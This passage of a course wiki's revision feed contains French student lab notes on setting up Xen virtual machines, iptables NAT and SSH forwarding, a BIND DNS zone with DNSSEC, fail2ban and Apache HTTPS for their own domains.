    vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true port = ssh filter = sshd maxretry = 5 findtime = 300 bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour lancer le service il faut rentrer la cmd suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12048</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12048"/>
		<updated>2026-02-03T16:22:37Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
 IN      NS      ns.deadpool.tech.&lt;br /&gt;
 IN      NS      ns.dardervil.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fefa:18d0&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fefa:18d0&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true port = ssh filter = sshd maxretry = 5 findtime = 300 bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour lancer le service il faut rentrer la cmd suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
